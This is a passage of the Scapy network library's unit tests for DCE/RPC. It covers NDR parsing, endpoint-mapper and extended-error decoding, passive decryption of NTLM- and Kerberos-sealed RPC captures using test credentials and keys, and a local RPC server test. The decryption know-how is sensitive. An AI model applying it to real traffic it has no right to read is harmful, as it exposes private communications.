\\xd65\\xf5\\x0fu\\x1b\\x9eX\\x17e\\xfe\\xb5\\xe6\\xdd\\xf9\\xd7\\xb0~Df\\xde\\xed\\xc7\\x0c[\\xd7\\xb4\\xcc\\xe4\\xcc\\x8c~\\xc1\\xc6\\x13\\x84vm\\xad|\\xb7\\xad\\x8e\\xc0\\xfft\\xa8e&\\xd4\\t]\\xcb\\xd3;8Q\\x96\\xf4F#+\\xc8\\x82\\x931\\x84M?i\\xd3\\xfe\\xc6\\x81\\xf6\\xc7\\xdfm\\x7f\\xd8\\xb52\\xecX\\xc7\\x13\\x19]\\xad9\\xfd\\xd2J\\xc3\\x1c^\\x17\\xb0\\x99\\xa5u\\xc1nd\\xecf\\xc6h\\xb0\\x99\\x98@\\x0cL\\xb4\\xd1\\xce\\xf06\\xcaH2v\\xce\\xa6]\\x7f\\x96\\xbd\\x1b\\x8f\\xb0k\\x9c\\xd8m\\xafL\\xf8\\x84\\x02\\x9fO\\x97\\xef\\t^<\\xbc3/\\xa9\\x8eY\\x87\\xc8qI\\xc1\\x9f\\x15Ks\\x8bB\\xf0\\xe7\\x84%]\\xd6\\xed_\\xe0\\x0c\\xcbO\\xd8\\xfc\\x9a\\xc1\\xdf\\x83\\xf7\\xcb\\xa2_\\x96\\xfa\\xf9\\xfcn\\xaf\\x90+\\xdf3\\xe6\\xd4\\xb1\\xab\\x10\\xf9>\\xc1\\xe7\\xf3\\xb8\\xbc\\xc1\\x80\\x84\\xbd\\xd7\\x0f\\x9b\\x99\\x18dz\\xdc\\xf9.qX\\xbe\\xdb\\x9d7\\xd8Ct\\t\\x08]Tsk\\x10i9\\xa6~6SN?[\\x865+3%#x\\xb9\\x80H\\x0e\\xfd\\xa9cW\\x0c\\xb6Y\\x14<\\xda\\xc5 \\xd0\\xd6@r\\xbb\\xdbT\\xadr\\xa7O\\x16\\x07{]\\xfea\\xa5\\xd7\\xff\\x03\\xff\\xd3\\x1e\\xfaS\\xc7\\xad@\\x08\\x83%\\x97\\xff\\x9e}B]\\xde\\xac\\x1a\\xca\\x9b\\xa5\\xa3+,Y\\x86\\xe5\\x06k\\xf2\\xdbS\\xfe\\xdeL\\xa4\\xed\\xad\\xb6\\xf8\\xfa\\xb2i\\x7f=\\xa6E]Bf*\\xacKj\\xda\\x1a\\xad.\\xe12q\\xea\\x12\\xeew\\xc5\\xaaK\\xd8\\xb1\\x8eQ\\x97\\xb0\\x99\\x88uIM\\x7fF\\xabK\\xd8m\\x8fQ\\x97\\xb0\\x99\\n\\xeb\\x126_A]\\xc2f\\xc7\\xa8K\\xd8L\\xa0.as\\x15\\xd4%lv\\x94\\xba\\xa4\"\\x061\\xeb\\x92\\x8a\\xdc\\x19\\xb3.as\\xa3\\xd4%\\xec\\xbc\\xa9\\xb0.\\xed\\xcb\\xee\\xbd\\xf9\\xcc\\xb7\\x9d3\\xd7\\xbf>iU\\x8bV\\xd5\\xc7*\\xbdG V]Bf*\\xacKj\\xda\\x1a\\xad.\\xe12q\\xea\\x12\\xeew\\xc5\\xaaK\\xd8\\xb1\\x8eQ\\x97\\xb0\\x99\\x88uIM\\x7fF\\xabK\\xd8m\\x8fQ\\x97\\xb0\\x99\\n\\xeb\\x126_A]\\xc2f\\xc7\\xa8K\\xd8L\\xa0.as\\x15\\xd4%lv\\x94\\xba\\xa4\"\\x061\\xeb\\x92\\x8a\\xdc\\x19\\xb3.as\\xa3\\xd4%\\xec\\xbc\\xa9\\xb0.\\r\\xed\\xce\\xd4dj\\x1e]w\\x85\\x88kb\\xcb=vS\\x8b\\xf3%d\\xa6\\xc2\\xba\\xa4\\xa6\\xad\\xd1\\xea\\x12.\\x13\\xa7.\\xe1~W\\xac\\xba\\x84\\x1d\\xeb\\x18u\\t\\x9b\\x89X\\x97\\xd4\\xf4g\\xb4\\xba\\x84\\xdd\\xf6\\x18u\\t\\x9b\\xa9\\xb0.a\\xf3\\x15\\xd4%lv\\x8c\\xba\\x84\\xcd\\x04\\xea\\x126WA]\\xc2fG\\xa9K*b\\x10\\xb3.\\xa9\\xc8\\x9d1\\xeb\\x1267J]\\xc2\\xce\\x9b\\xd1\\xebR\\xf8\\xb5\\xdf\\xc7\\x1bT\\xa1zT\\xcf\\x98t\\xe2\\xcbM\\xeev%\\x9f+~\\xc7\\x1ePC\\x90\\xb9\\nj\\x08.\\x13\\xa7\\x86\\xe0~W\\xac\\x1a\\x82\\x1d\\xeb\\x185\\x04\\x9b\\x89XC\\xd4\\xf4g\\xb4\\x1a\\x82\\xdd\\xf6\\x185\\x04\\x9b\\xa9\\xb0\\x86`\\xf3\\x15\\xd4\\x10lv\\x8c\\x1a\\x82\\xcd\\x04j\\x086WA\\r\\xc1fG\\xa9!*b\\x10\\xb3\\x86\\xa8\\xc8\\x9d1k\\x0867J\\r\\xc1\\xce\\x9b\\x0fk\\xc8\\xc3\\x1a\\xf2\\xb0\\x86<\\xac!\\x0fk\\xc8\\xc3\\x1a\\xa2}\\r\\t\\x9f\\xa3\\xe8q\\xefy\\xce\\xf8uZ\\xe4z\\\\&\\xd6\\x9c\\x13\\xe6w\\xc5\\x9csBe*\\x99s\\xc2e\\xa2\\xce9\\xa9\\xe8\\xcf\\xa8sN\\xb8m\\x8f5\\xe7\\x84\\xcbT:\\xe7\\x84\\xcbW2\\xe7\\x84\\xcb\\x8e5\\xe7\\x84\\xcb\\x84\\xe6\\x9cp\\xb9J\\xe6\\x9cp\\xd9\\xd1\\xe6\\x9c\\xf0c\\x10{\\xce\\t\\x97\\x0b\\xcd9\\xe1r\\xa3\\xcd9\\xe1\\xe6M\\xbc\\\\\\xaf\\xf898\\x84\\\\\\xaf\\xfc\\xd9:\\xf5\\xb9^\\xf1w!\\xe4z\\xe5\\xcf\\xee)\\xcf\\xf5\\xca\\x99\\xear=R\\x7f*\\xcc\\xf5\\xca\\xdb\\xae<\\xd7+g\\xe2\\xe5z\\xe5|\\xf4\\\\\\xaf\\x9c\\xad<\\xd7+g\\xa2\\xe5z\\xe5\\\\\\xf4\\\\\\xaf\\x9c\\xad,\\xd7\\xa3\\xc4\\x00%\\xd7+\\xe7\\xa2\\xe5z\\xe5\\\\e\\xb9^y\\xde\\x8c\\x9e\\xeb\\xc3\\xf22k\\xee\\xf2\\x9f\\n\\xa9\\xc7k\\xac\\x0b\\xec\\xe4\\x99\\x07N\\x7fR\\xee\\x7f\\x98\\x97q\\xbf+V^Ff*\\xc8\\xcb\\xd8L\\xc4\\xbc\\x8c\\x1b\\x8fXy\\x19\\xbb\\xed1\\xf226Sa^\\xc6\\xe6+\\xc8\\xcb\\xd8\\xec\\x18y\\x19\\x9b\\t\\xe4el\\xae\\x82\\xbc\\x8c\\xcd\\x8e\\x92\\x97U\\xc4 f^\\xc6\\xe6\\x02y\\x19\\x9b\\x1b%/c\\xe7\\xcd\\xe8y9,\\x07a\\xbf\\xf7\\x0f1\\x07!\\x7f\\x8f\\x82\\x1c\\x84\\xdd\\xf6\\x189\\x08\\x9b\\xa90\\x07a\\xf3\\x15\\xe4 lv\\x8c\\x1c\\x84\\xcd\\x04r\\x106WA\\x0e\\xc2fG\\xc9A*b\\x103\\x07\\xa9xWh\\xcc\\x1c\\x84\\xcd\\x8d\\x92\\x83p\\xf7\\xdd\\x189(\\xec\\xd9\\xe9\\x84\\xb8j\\xf5\\xe9\\x06\\xad-\\x1b\\x7f\\x9b\\xf4\\xeb\\xc5\\xf2\\xe4<\\xd4g\\xa7%I\\xe4%\\xd6!\\x1b\\x05J`E#GG\\xbc\\x07\\xa2l\\xc1\\xa0\\xb9o\\x8c\\x7f\\xdf\\xbakR\\xcb\\x9eM\\xbfm\\x80\\xfc>\\x99\\x07\\xf0\\xc3r\\xdb\\xecg\\xaf\\x16\\xdd:\\xfa_\\xeb\\xf2\\xd6\\xd2\\xac\\xcaD\\xcdx\\x94\\xdcV5\\xca\\xbb1\\x91\\x99\\x11m\\x96%#/Q\\xa2$8I\\x96\\xd1\\xb32\\x15\\xf1<\\xb9\\xd0\\xdc\\xd6yj1\\x97:e\\xef\\xc8\\x8e3\\xd6\\xa4\\xc0\\xbf\\x9f\\xac\\xa0\\xcd\\xc8L\\xc46/\\xa8@\\xaf_\\xbd\\xfc\\xb2}9{\\xe6\\x16\\xbd\\xe0\\xdc(-\\xda\\x8c\\xccDl\\xf3\\x8dS\\x85U\\x9av~/sB\\x93\\x99O5:,\\x1f\\xd7\\xa2\\xcd\\xc8L\\xc46\\x87\\xdfk6~\\x9d\\x16mFf\\xc2m\\x0e\\xe3\\xb7\\xfd#\\xfd\\xeb\\xa4\\x83m3^.[b\\xb8\\xf5\\'\\xd9\\n\\xf5wm)\\xd9)\\xc9\\xb2\\x835\\xb0N\\xbdS\\x08\\xec\\xee\\x11\\xef\\x8cl\\xb3t\\xc2\\xb6\\x92\\x96s2F\\x15e\\x9c-\\x18f*An?\\xcd\\xf1\\xa4\\xdeH\\x8a\\x82$Q\\x1c)\\x91dx\\xccG\\xed\\x1a\\xceY\\xe7^c\\xdf\\xa4\\xe6^\\xe5\\x89\\xc4\\xb2e\\x10b\\x9e\\x10%\\xe6\\xcdGT\\x96\\xb7\\x7fOw\\xfb\\xc8\\xb2\\xb0\\xe1\\x7f\\xbf\\xa9]\\x03\\xb9\\xcdFV\\xe4\\r$ep\\x90<\\xcb;E\\'\\x1f~\\xfc\\x85\\xcd\\xafLt\\xf7\\x14\\xba\\xf2\\xe4\\xec\\xd2\\xe3\\xaf\\xb0c\\x18lf\\x15\"[\\xf0\\x15\\x08\\x85i\\xa5\\xc70a\\xef[CfF\\xbeo-;\\xb3[W[6\\x11\\xed}kg\\xab\\xe6M\\xad\\xf2~n\\xe2\\x96:\\xc4\\x99\\xb8\\n\\x0e\\xe4\\xf7c\\n\\x06\\x07\\xc7J\\x8c\\xe0\\xe0i\\x89b\\xf4F\\x86\\x0f?F\\xc7\\xe6\\x97\\x1e\\xa3\\xf3\\x8c\\x85\\xb4r6\\xd2`\\xb0\\x18\\x18\\xbb\\xc5j\\xb5\\xd8lV=\\xa3\\xa7h\\xde\\xac\\xedv\\xe8\\x8d\\x9cAtr\\x0e\\xdeh\\xe0i\\x83\\xc3@S\\xffo\\xf1\\x1b\\x15\\x1d\\x9d\\xfb\\xd2\\x85\\x0fL+\\xf6\\'\\xbc\\xdd\\xfd\\xcb\\xea\\x07P\\xf9\\x9c(\\xb1\\xa4\\xa4\\xd7;\\x04Jd\\r\\x82DF\\xbc\\x97\\xee\\xca\\xac\\x96\\x9f\\xfc\\xba\\xe1\\xa0y\\xe5\\xe6MV\\xe7\\x89\\xce[\\xb5\\xe6\\xf7\\xcf\\x99\\xf2\\x1f\\xef\\x98\\x0e\\xc9o\\xcd~\\xcc\\xfeJ\\xbb\\xcb\\xc89\\x18\\xe2\\x7f\\xd07~\\xd6\\xf7\\xd4\\xc6\\x8c\\x15\\xe7\\xca5\\x9e\\xb3E@\\xfe\\x8d\\x0b\\x88\\xff\\xd4\\x85\\x89\\xb7\\x8e\\xaei\\x9d\\xba\\xe6p\\xfaOM\\x9f\\xde\\x9b\\xae5\\xbf\\xde\\xbeEi\\x8bO\\xecH\\x9dzy\\xca\\xa0a\\x9b\\xcb\\x8c\\xd6\\x9a\\x7fk\\xc9\\xd5_\\x8e\\xdd\\x9cf\\x9e\\x99\\xeey\\xb3\\xb0\\xbao\\x172_\\xef\\xe0\\r2\\'\\tFI\\xa6h\\x92\\x95\\x9c\\xe15DW\\xa7\\xf8\\xb9v\\xbf\\x7f\\\\c\\xed\\'\\xc4\\xfe\\xccw\\x9b\\x9eB\\xa9\\xdb\\xb5\\xee\\xd6\\x90\\xb0\\xdc\\x83\\xcc\\x0c\\xcb=\\x94\\x99\\xa5H\\x93\\x853\\x99\\x8d&=i\\xe3\\xcc\\xb4\\xcdn\\xd4\\xf3\\x16\\x8e7\\xe9\\xc3\\xdb>\\xf7\\xe3\\xbf\\xf3j.K\\xe4\\xe6\\xd2\\xf6w\\xff\\xf4\\xe7$i\\xd1vd&f\\xdb_;\\xb0.+\\xbd\\xc7\\x96\\x8e\\x8b\\x9c\\x973O\\xde\\\\ZT\\x1e\\xa1\\xedu\\xef\\xb6=\\x8c\\xd9\\xaf\\xcd\\x88\\xf1\\xbf\\xcc(\\xb2,\\\\x\\xeb\\x89!)}Z\\xa0\\xc4\\xa3e\\x94x 3\\xc3\\xe2\\xc1\\xf2f+e\\xb5\\x18\\xacV\\xdef\\xe3Y;\\xcf\\xb0\\xb4\\x91\\xe5X\\xbdIO\\x87\\x8f\\xf3\\x9a\\x87\\xd2\\xf7=\\xfdm\\xb9\\x94W\\xf7\\xce\\xa8\\xf3\\xce\\x9eO\\xe7\\xa0\\x8es\\xd6H2\\x12)\\x894\\xcd\\x18YI\\x10\\xe4\\x88\\xdf\\x94\\xc2\\xe6\\x97n\\x87\\xc1h0q\\x94\\x8d\\xa5-\\xa4\\xcd`\\xe7\\xcd\\x81\\xe3I\\xda\\xac7\\x98)\\x13e\\x0f\\xdf\\x0enin\\xc5\\'\\xaa\\xad\\xed\\xb4\\xd3\\xf5V\\xbdN\\t\\xfc\\x11\\xe4wz\\x91T`\\x1f%9\\xbd s\\xb2\\x18\\xf8W\\xe9\\xab\\xbb\\x89\\xff\\x03\\x056\\xf1\\x00')\n\nconf.max_list_count = 500\npkt = ept_lookup_Response(data, ndr64=False)\ntowers = [protocol_tower_t(x.valueof(\"tower\").tower_octet_string) for x in pkt.valueof(\"entries\")]\n\nassert len(towers) == 430\nassert [x.floors[3].rhs.decode().rstrip(\"\\x00\") for x in towers if x.floors[3].protocol_identifier == 15] == [\n    '\\\\PIPE\\\\InitShutdown',\n    '\\\\PIPE\\\\InitShutdown',\n    '\\\\pipe\\\\eventlog',\n    '\\\\PIPE\\\\atsvc',\n    '\\\\PIPE\\\\atsvc',\n    '\\\\PIPE\\\\atsvc',\n    '\\\\PIPE\\\\atsvc',\n    '\\\\PIPE\\\\atsvc',\n    '\\\\PIPE\\\\wkssvc',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\1b6ced1995aeaf47',\n    '\\\\pipe\\\\lsass',\n    '\\\\pipe\\\\lsass',\n    '\\\\PIPE\\\\ROUTER',\n]\n\ntower = next(x for x in towers if x.floors[3].protocol_identifier == 15 and x.floors[3].rhs == b\"\\\\PIPE\\\\ROUTER\\x00\")\nassert tower.floors[0].uuid \n\n= DCE/RPC 5 NDR: Test length_is with size_is with after-the-fact size\n\n# From [MS-RRP]\n\nclass BaseRegQueryValue_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRIntField(\"lpType\", 0)),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpData\",\n                \"\",\n                size_is=lambda pkt: (pkt.lpcbData if pkt.lpcbData else 0),\n                length_is=lambda pkt: (pkt.lpcbLen if pkt.lpcbLen else 0),\n            )\n        ),\n        NDRFullPointerField(NDRIntField(\"lpcbData\", 0)),\n        NDRFullPointerField(NDRIntField(\"lpcbLen\", 0)),\n        NDRIntField(\"status\", 0),\n    ]\n\n\npkt = BaseRegQueryValue_Response(b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x00W\\x00i\\x00n\\x00d\\x00o\\x00w\\x00s\\x00 \\x00U\\x00s\\x00e\\x00r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x00', ndr64=True)\n\nassert pkt.valueof(\"lpType\") == 1\nassert pkt.valueof(\"lpData\").decode(\"utf-16le\") == 'Windows User\\x00'\nassert pkt.valueof(\"lpcbData\") == 26\nassert pkt.valueof(\"lpcbLen\") == 26\nassert pkt.status == 0\n\n= DCE/RPC 5 NDR: Test DEPORTED_CONFORMANTS with offsetted padding\n\nfrom scapy.layers.msrpce.mseerr import *\n\npkt = DceRpc5ExtendedErrorInfo(b'\\x01\\x10\\x08\\x00\\xcc\\xcc\\xcc\\xcc\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x01\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\xc0\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\xa5\\xcfq`,\\xea\\xd9\\x01\\x02\\x00\\x00\\x00!\\x07\\x00\\x00L\\x06\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x03\\x00\\xc4\\xfe\\xfc\\x99\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\xc0\\x03\\x00\\x00\\x00\\x00\\x00\\x00)fo`,\\xea\\xd9\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00G\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x03\\x00\\x03\\x00\\n\\x00\\x00\\x00\\x03\\x00\\x03\\x00\\x06\\x00\\x00\\x00\\x03\\x00\\x03\\x00!\\x07\\x00\\x00\\x04\\x00\\x00\\x00D\\x00C\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00', ExtendedErrorInfo)\n\nassert isinstance(pkt.extended_error.value, ExtendedErrorInfo)\nassert pkt.extended_error.value.max_count == 1\nassert pkt.extended_error.value.Next.value.ProcessID == 960\nassert pkt.extended_error.value.Next.value.TimeStamp == 133395140301514281\nassert [x.Type for x in pkt.extended_error.value.Next.value.Params] == [3, 3, 3]\n\nassert pkt.extended_error.value.ComputerName.value.value.valueof(\"pString\") == b'D\\x00C\\x001\\x00\\x00\\x00'\nassert pkt.extended_error.value.ProcessID == 960\nassert pkt.extended_error.value.TimeStamp == 133395140301672357\nassert pkt.extended_error.value.Status == 1825\nassert pkt.extended_error.value.DetectionLocation == 1612\nassert pkt.extended_error.value.Params[0].Type == 3\n\n= [MS-EERR] test show()\n\nwith ContextManagerCaptureOutput() as cmco:\n    pkt.show()\n    result = cmco.get_output()\n\nEXPECTED = \"\"\"# Extended Error Information\nPID: 960 - 18/09/2023 12:33:50.167234 (1695040430)\n | ComputerName: DC1\\x00\n | Generating Component: Runtime\n | Status: 1825\n | DetectionLocation: OSF_SCALL__DoSecurityCallbackAndAccessCheck\n | Flags 0\n | Params:  [('eeptiLongVal', -1711472956)]\nPID: 960 - 18/09/2023 12:33:50.151428 (1695040430)\n | Generating Component: Security Provider\n | Status: STATUS_SUCCESS\n | DetectionLocation: AcceptThirdLeg10\n | Flags 0\n | Params:  [('eeptiLongVal', 10), ('eeptiLongVal', 6), ('eeptiLongVal', 1825)]\n\"\"\"\n\nresult\nassert result.strip() == EXPECTED.strip()\n\n+ [PASSIVE] Passive sniffing\n~ passive\n\n= [PASSIVE] Passive sniffing of DCE/RPC packets encrypted with SPNEGOSSP[NTLMSSP]\n\nfrom scapy.libs.rfc3961 import *\nimport uuid\n\nbind_bottom_up(TCP, DceRpc5, dport=49679)\nbind_bottom_up(TCP, DceRpc5, sport=49679)\n\nconf.dcerpc_session_enable = True\nconf.winssps_passive = [\n    SPNEGOSSP(\n        [\n            NTLMSSP(\n                IDENTITIES={\n                    \"Administrator\": MD4le(\"Password123!\"),\n                },\n            )\n        ]\n    )\n]\npkts = sniff(offline=scapy_path('test/pcaps/dcerpc_privacy_ntlm.pcapng.gz'), session=TCPSession)\npkts.show()\n\nconf.dcerpc_session_enable = False\n\n# Packet 16 has an encrypted vt_trailer\nassert pkts[16].vt_trailer.commands[0].Command == 2\nassert pkts[16].vt_trailer.commands[0].TransferSyntax == uuid.UUID('8a885d04-1ceb-11c9-9fe8-08002b104860')\nassert pkts[16].load == b'\\x00\\x00\\x02\\x00\\x0e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\x00\\x00\\x001\\x009\\x002\\x00.\\x001\\x006\\x008\\x00.\\x000\\x00.\\x001\\x000\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00'\n\nassert pkts[22].load == b'0\\x00\\x00\\x00&\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00A\\x00D\\x00W\\x00S\\x00\\x00\\x00\\xee`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\xea\\x00\\x00\\x00'\nassert pkts[23].load == b'\\x00\\x00\\x00\\x00\\xad\\xb3\\xf5\\xd1\\x8eJ\\xdeG\\xa9\\xa5\\x85\\xccvb\\x8b\\x970\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x1d\\x83\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00'\n\n# Packet 32 is defragmented and encrypted !\nassert pkts[32].auth_padding == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nassert len(pkts[32].load) == 33592  # reassembled\nassert hashlib.sha256(pkts[32].load).digest() == b\"\\xc0\\xb5\\xde\\x1c0\\\\\\x02\\x04\\x1c\\x7f\\x05\\xcc\\xde\\xd7\\x01\\xa5{\\x917\\xb4\\xff\\xc7\\xa4\\xd1\\x89\\xcd\\x1cQ\\xa1'3!\"\n\n= [PASSIVE] Passive sniffing of DCE/RPC packets encrypted with SPNEGOSSP[KerberosSSP] with AES\n\nfrom scapy.libs.rfc3961 import *\n\nbind_bottom_up(TCP, DceRpc5, dport=49701)\nbind_bottom_up(TCP, DceRpc5, sport=49701)\n\nconf.dcerpc_session_enable = True\nconf.winssps_passive = [\n    SPNEGOSSP(\n        [\n            KerberosSSP(\n                KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(\"85abb9b61dc2fa49d4cc04317bbd108f8f79df28239155ed7b144c5d2ebcf016\")),\n                SPN=\"ldap/dc1.domain.local\",\n            )\n        ]\n    )\n]\npkts = sniff(offline=scapy_path('test/pcaps/dcerpc_privacy_krb.pcapng.gz'), session=TCPSession)\npkts.show()\n\nconf.dcerpc_session_enable = False\n\n# Packet 15 has an encrypted vt_trailer\nassert pkts[15].vt_trailer.commands[0].Command == 2\nassert bytes(pkts[15][DceRpc5Request].payload) == b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x1a M\\xe2\\xd6O\\xd1\\x11\\xa3\\xda\\x00\\x00\\xf8u\\xae\\r\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x004\\x00\\x00\\x00\\x00\\x00\\x00\\x004\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\nassert pkts[21].obj.referent_id == 0x1\nassert pkts[21].map_tower.value.tower_octet_string == b'\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\x00\\x87\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00'\nassert pkts[21].max_towers == 4\n\nassert pkts[22].num_towers == 1\nassert pkts[22].ITowers.max_count == 4\nassert pkts[22][ept_map_Response].valueof(\"ITowers\")[0].max_count == 75\nassert pkts[22][ept_map_Response].valueof(\"ITowers\")[0].tower_length == 75\nassert pkts[22][ept_map_Response].valueof(\"ITowers\")[0].tower_octet_string == b'\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc2\\x03\\x01\\x00\\t\\x04\\x00\\xc0\\xa8\\x00d'\n\n+ MS-RPC client and server\n\n% The fact that all of this actually works is crazy to me.\n\n= Functional: Define a MS-RPC server\n% Same as in dcerpc.rst\n\nfrom scapy.layers.dcerpc import *\nfrom scapy.layers.msrpce.all import *\nfrom scapy.layers.msrpce.raw.ms_wkst import *\n\nclass MyRPCServer(DCERPC_Server):\n    @DCERPC_Server.answer(NetrWkstaGetInfo_Request)\n    def handle_NetrWkstaGetInfo(self, req):\n        \"\"\"\n        NetrWkstaGetInfo [MS-SRVS]\n        \"returns information about the configuration of a workstation.\"\n        \"\"\"\n        req = req[NetrWkstaGetInfo_Request]\n        req.show()\n        if req.Level != 0x00000064:\n            return None\n        return NetrWkstaGetInfo_Response(\n            WkstaInfo=NDRUnion(\n                tag=100,\n                value=LPWKSTA_INFO_100(\n                    wki100_platform_id=500,  # NT\n                    wki100_ver_major=5,\n                    wki100_computername=req.valueof(\"ServerName\") + b\"Server\"\n                ),\n            ),\n            ndr64=self.ndr64,\n        )\n    @DCERPC_Server.answer(NetrEnumerateComputerNames_Request)\n    def handle_NetrEnumerateComputerNames(self, req):\n        \"\"\"\n        NetrWkstaGetInfo [MS-SRVS]\n        \"returns information about the configuration of a workstation.\"\n        \"\"\"\n        req = req[NetrEnumerateComputerNames_Request]\n        req.show()\n        return NetrEnumerateComputerNames_Response(\n            ComputerNames=PNET_COMPUTER_NAME_ARRAY(\n                ComputerNames=[PUNICODE_STRING(Buffer=x) for x in [\"Scapy\", \"Foo\", \"Bar\"]]\n            ),\n            ndr64=self.ndr64,\n        )\n\n= Functional: Define wrapper over samba's rpcclient\n~ linux samba\n\nimport subprocess\n\n# Create a temporary directory for config\nTEMP_DIR = pathlib.Path(get_temp_dir())\nTEMP_DIR.chmod(0o0755)\nprint(TEMP_DIR)\n\n# required for smb.conf to work in standalone without root.. wtf\nLOGS_DIR = TEMP_DIR / \"logs\"\nLOCK_DIR = TEMP_DIR / \"lock\"\nPRIVATE_DIR = TEMP_DIR / \"private\"\nPID_DIR = TEMP_DIR / \"pid\"\nCACHE_DIR = TEMP_DIR / \"cache\"\nSTATE_DIRECTORY = TEMP_DIR / \"state\"\nNCALRPC_DIR = TEMP_DIR / \"ncalrpc\"\n\nfor dir in [LOGS_DIR, LOCK_DIR, PRIVATE_DIR, PID_DIR, CACHE_DIR, STATE_DIRECTORY, NCALRPC_DIR]:\n   dir.mkdir()\n\nSMBD_LOG = LOGS_DIR / \"log.smbd\"\nSMBD_LOG.touch()\n\n# smb.conf\nCONF_FILE = get_temp_file(autoext=\".conf\")\nCONF = \"\"\"\n# Scapy unit tests rpcserver client\n\n[global]\n   lock directory = %s\n   private directory = %s\n   cache directory = %s\n   ncalrpc dir = %s\n   pid directory = %s\n   state directory = %s\n\"\"\" % (\n   LOCK_DIR,\n   PRIVATE_DIR,\n   CACHE_DIR,\n   NCALRPC_DIR,\n   PID_DIR,\n   STATE_DIRECTORY,\n)\n\nprint(CONF)\n\nwith open(CONF_FILE, \"w\") as fd:\n   fd.write(CONF)\n\ndef run_rpcclient(transport, command, debug=False):\n    args = [\n        \"rpcclient\",\n        \"-c\",\n        command,\n        \"%s:127.0.0.1[12345%s]\" % (\n            transport,\n            \",seal\"\n            if transport == \"ncacn_ip_tcp\"\n            else \"\"\n        ),\n        \"-p\", \"12345\",\n        \"-U\", \"User\", \"--password\", \"Password\",\n        \"--configfile\", CONF_FILE,\n    ]\n    if debug:\n        args += [\"-d 5\"]\n        print(\" \".join(args))\n    proc = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n    return proc.communicate(timeout=10)[0]\n\n= Functional: Start the MS-RPC server over NCACN_IP_TCP with NTLMSSP\n\nssp = NTLMSSP(\n    UPN=\"User\",\n    HASHNT=MD4le(\"Password\"),\n    IDENTITIES={\n        \"User\": MD4le(\"Password\"),\n    },\n)\n\nrpcserver = 